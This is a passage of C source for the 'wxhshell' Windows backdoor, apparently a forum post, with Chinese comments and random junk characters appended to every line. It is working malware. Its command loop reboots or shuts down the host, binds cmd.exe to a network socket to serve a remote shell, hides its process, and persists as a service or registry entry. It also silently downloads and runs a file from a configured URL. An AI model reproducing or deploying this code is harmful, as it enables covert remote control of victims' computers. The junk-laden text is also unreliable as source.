  else { ~ &/Nl_#  
uJ"#j X  
    switch(cmd[0]) { qLBQ!>lR  
  S*r }oX0  
  // 帮助 SP0ueAa}  
  case '?': { P'$2%P$8:~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m<Gd 6V5  
    break; qPu?rU{2  
  } El}~3|a?  
  // 安装  ^Oj^7.T+  
  case 'i': { 8f,",NCgc  
    if(Install()) aV f sF|,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ILG&l<!E  
    else eT F s9$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )x5w`N]lm  
    break; tjZS:@3 Z  
    } >x1?t  
  // 卸载 H|!|fo-Tx  
  case 'r': { z`@|v~i0`  
    if(Uninstall()) I_h&35^t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2G`tS=Un  
    else 7N fA)$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &p^8zEs  
    break; @X>Oj.  
    } /4 -6V d"8  
  // 显示 wxhshell 所在路径 !.5,RIf  
  case 'p': { [[0u|`T/  
    char svExeFile[MAX_PATH]; 1A\N$9Dls  
    strcpy(svExeFile,"\n\r"); w ]$Hr   
      strcat(svExeFile,ExeFile); 4] I7t  
        send(wsh,svExeFile,strlen(svExeFile),0); O9[Dae{i  
    break; D j@7vM%_  
    } 8d"Ff  
  // 重启 Sy`7})[  
  case 'b': { ]PjJy/vkjj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <-m[0zg q  
    if(Boot(REBOOT)) &,~Oi(SX5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jAb R[QR1%  
    else { 3rw<#t;v  
    closesocket(wsh); 4XXuj  
    ExitThread(0); hE>%LcP  
    } .:=G=v=1  
    break; etWCMR  
    }  - }9a%  
  // 关机 .a`(?pPr,  
  case 'd': { DNl '}K1W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o79EDPX  
    if(Boot(SHUTDOWN)) E;AOCbV*$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _B5v&# h(.  
    else { s xp>9&  
    closesocket(wsh); fTg^~XmJ  
    ExitThread(0); j>-O'CO  
    } (^).$g5Hg  
    break; $@(+" $  
    } V*w~Sr%  
  // 获取shell @is!VzE  
  case 's': { .8EaFEd  
    CmdShell(wsh); z->[:)c  
    closesocket(wsh); 2Ub!wee  
    ExitThread(0); %RS8zN  
    break; TcM;6h`  
  } I c 2R\}q  
  // 退出 . +  
  case 'x': { r0 fxEYze&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !m<v@SmL\  
    CloseIt(wsh); NP^j5|A*"  
    break; 5b5Hc Inu  
    } 78fFAN`  
  // 离开 T@)|0M  
  case 'q': { lOuO~`,J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \x9.[?;=e  
    closesocket(wsh); ]n9gnE  
    WSACleanup(); `!A<XiAOmM  
    exit(1); z[~ph/^  
    break; |`,AA a  
        } O4.`N?Xq  
  } A4>j4\A[M  
  } Z&W*@(dX  
L.tW]43K  
  // 提示信息 F2:nL`]b[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N0_@=uE  
} !5XH.DYq!  
  } 3JJEj1O  
{|D7H=f  
  return; sm?V%NX&  
} 'YTSakNJ}  
:'0.  
// shell模块句柄 ly~tB LH}  
int CmdShell(SOCKET sock) _ ,~D]JYE  
{ b[s=FH]#N  
STARTUPINFO si; ;5PBZ<w  
ZeroMemory(&si,sizeof(si)); ews{0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o@47WD'm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;:A/WU.^  
PROCESS_INFORMATION ProcessInfo; 6[~_;0  
char cmdline[]="cmd"; PyQ P K,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I:Q3r"1  
  return 0; wMvAm%}+  
} 15\k/[3 #  
*1c1XN<7  
// 自身启动模式 $WICyI{$  
int StartFromService(void) "p\5:<  
{ K zWqHq  
typedef struct k!)Pl,nJ  
{ bJ5 VlK67R  
  DWORD ExitStatus; .hVB)@/  
  DWORD PebBaseAddress; :xy4JRcF  
  DWORD AffinityMask; g?OC-zw  
  DWORD BasePriority; YE;Tpji  
  ULONG UniqueProcessId; sX[k}=HCK  
  ULONG InheritedFromUniqueProcessId; n&\DJzW\#  
}   PROCESS_BASIC_INFORMATION; ={[9kR i  
9AP."RV  
PROCNTQSIP NtQueryInformationProcess; )y"8Bx=x4  
B x-"<^<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MN<uIqG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7&w$@zs87  
HA`q U  
  HANDLE             hProcess; 4RL0@)0F  
  PROCESS_BASIC_INFORMATION pbi; UiQF4Uc"  
hF`Qs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); witx_r  
  if(NULL == hInst ) return 0; ~ya@ YP]';  
R4g;-Ci->  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RH~I/4e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "|nh=!L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w42=tN+ B  
OOZxs?pR  
  if (!NtQueryInformationProcess) return 0; 8>AST,  
X[J?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *o6hDhg  
  if(!hProcess) return 0; .1YiNmW=  
nA#N,^Rr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @&9, 0 x  
k] iyx  
  CloseHandle(hProcess); _"h1#E  
jg\FD51$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dM)x|b3z  
if(hProcess==NULL) return 0;  Uu0  
;D|g5$OE&  
HMODULE hMod; WwF2Ry^a  
char procName[255]; j]'ybpMT"  
unsigned long cbNeeded; XCj8QM.o  
<%"o-xZq7C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !EOYqD  
qQp;i{X  
  CloseHandle(hProcess); `=P=i>,  
RC~C}  
if(strstr(procName,"services")) return 1; // 以服务启动 M,dp;  
=4#p|OZP  
  return 0; // 注册表启动 h@jk3J9^  
} 1 Sz v4  
SYA0Hiw7P  
// 主模块 ;( [^+_/  
int StartWxhshell(LPSTR lpCmdLine) ~S~4pK  
{ (y5 ]]l  
  SOCKET wsl; v~:'t\n  
BOOL val=TRUE; #n.XOet<\  
  int port=0; -+fW/Uo  
  struct sockaddr_in door; ~n;U5hcB  
>l^[73,]L  
  if(wscfg.ws_autoins) Install(); `%_(_%K  
_rz7)%Y'#$  
port=atoi(lpCmdLine); P~h 0Ul  
=3|5=ZU034  
if(port<=0) port=wscfg.ws_port; e'2w-^7  
nG~^-c+  
  WSADATA data; 0?*":o30  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o#hFK'&~  
TJUYd9O4[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FJ2~SKWT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6ag0c&k  
  door.sin_family = AF_INET; FL[w\&fp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wit  
  door.sin_port = htons(port); J<MuWgx&  
Ws:+P~8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H8h,JBg5<F  
closesocket(wsl); ^&\<[\  
return 1; mw*KLMo42  
} Erm]uI9`  
:nS p  
  if(listen(wsl,2) == INVALID_SOCKET) { &H/3@A3  
closesocket(wsl); l}W"> yQ0  
return 1; R<Ct{f!  
} D<lVWP  
  Wxhshell(wsl); c>+hY5?C  
  WSACleanup(); TRFza}4:i  
*~^M_wej  
return 0; 6c*QBzNL  
a 1~@m[  
} `gdk,L]  
Q #p gl  
// 以NT服务方式启动 G&@_,y|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UVD*GsBk  
{ 6t'vzcQs  
DWORD   status = 0; (S8hr,%n  
  DWORD   specificError = 0xfffffff; +@MG$*}Oz  
?GGBDql  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +K48c,gt?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }*VRj;ff  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ad`7[fI  
  serviceStatus.dwWin32ExitCode     = 0; te+r.(p  
  serviceStatus.dwServiceSpecificExitCode = 0; Oe&gTXo  
  serviceStatus.dwCheckPoint       = 0; A[H"(E#k  
  serviceStatus.dwWaitHint       = 0; v dPb-z4  
B1va]=([)W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >+Y@rj2  
  if (hServiceStatusHandle==0) return; CPJ%<+4%b  
<1E5[9 q  
status = GetLastError(); u(g9-O  
  if (status!=NO_ERROR) G],W{<Pe  
{ F+/#ugI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5 &s<&h  
    serviceStatus.dwCheckPoint       = 0; ADB,gap  
    serviceStatus.dwWaitHint       = 0; Ki\J)l  
    serviceStatus.dwWin32ExitCode     = status; P=.T|l1  
    serviceStatus.dwServiceSpecificExitCode = specificError; M! uE#|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GE}>{x=^x  
    return; BoofJm  
  } "BvDLe':  
.<Jq8J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T<U_Iq  
  serviceStatus.dwCheckPoint       = 0; d8VFa'|  
  serviceStatus.dwWaitHint       = 0; j!K{1s[.y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8xYeaK  
} Gy!bPVe  
?e[]UO  
// 处理NT服务事件,比如:启动、停止 6eW9+5oL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9.Yn]O  
{ -!X\xA/KN  
switch(fdwControl) x%55:8{  
{ =6[R,{|C  
case SERVICE_CONTROL_STOP: +uMK_ds~  
  serviceStatus.dwWin32ExitCode = 0; m>+ e;5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s;xErH@RA  
  serviceStatus.dwCheckPoint   = 0; hc]5f3Z  
  serviceStatus.dwWaitHint     = 0; F*=}}H/  
  { A&:~dZ:%w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VX e7b  
  } eI+p  
  return; [W=6NAd  
case SERVICE_CONTROL_PAUSE: [#/@ v/`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <ugy-vSv  
  break; ;D}E/' =  
case SERVICE_CONTROL_CONTINUE: Y{ w9D`}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _tfi6UQ&lY  
  break; sF1j4 NC  
case SERVICE_CONTROL_INTERROGATE: >{=~''d,w  
  break; )0{ZZ-beG  
}; zOMU&;.\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  o*xft6U  
} h F *c  
e%KCcU  
// 标准应用程序主函数 + EM^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E~1"Nh  
{ I->4Q&3  
"K#zY~>L  
// 获取操作系统版本 w'<"5F`  
OsIsNt=GetOsVer(); n4/Jx*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8Oo16LPD  
nrCr9#  
  // 从命令行安装 Hs(U|BXU  
  if(strpbrk(lpCmdLine,"iI")) Install(); i!)\m0Wm  
;Vpp1mk|  
  // 下载执行文件 wKKQAM6P1  
if(wscfg.ws_downexe) { yM Xf&$C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K/K|[=bl  
  WinExec(wscfg.ws_filenam,SW_HIDE); qP]1}-  
} ih-J{1  
</2 aQn  
if(!OsIsNt) { e~7FK_y#0  
// 如果时win9x,隐藏进程并且设置为注册表启动 )]kxLf#  
HideProc(); 1) 5$,+~lL  
StartWxhshell(lpCmdLine); 8OiCldw:HN  
} AEkjyh\  
else %SuELm  
  if(StartFromService()) 5XV|*O;  
  // 以服务方式启动 S=\cF,Zs  
  StartServiceCtrlDispatcher(DispatchTable); #nw+U+qL  
else =#=}|Q}  
  // 普通方式启动  TD%&9$F  
  StartWxhshell(lpCmdLine); vn!5@""T  
"$pbK:  
return 0; 7Mk>`4D'c  
}
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只看该作者 1 发表于: 2006-10-10
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